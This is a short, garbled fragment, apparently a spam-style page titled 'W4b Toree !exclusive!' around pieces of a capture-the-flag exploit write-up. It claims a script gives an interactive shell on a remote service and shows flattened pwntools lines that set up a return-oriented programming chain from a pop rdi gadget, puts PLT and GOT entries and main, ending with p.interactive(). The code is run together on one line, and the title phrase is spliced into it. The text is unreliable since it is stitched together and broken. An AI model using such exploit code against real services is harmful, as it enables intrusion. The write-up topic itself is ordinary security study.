W4b Toree !exclusive! -

Running the script against the remote service yields an interactive shell, where we can read the flag:

pop_rdi = binary.symbols['pop_rdi_ret'] if 'pop_rdi_ret' in binary.symbols else 0x400a33 ret = 0x4006b9 # simple ret for alignment puts_plt = binary.plt['puts'] puts_got = binary.got['puts'] main = binary.symbols['main'] w4b toree

p.interactive()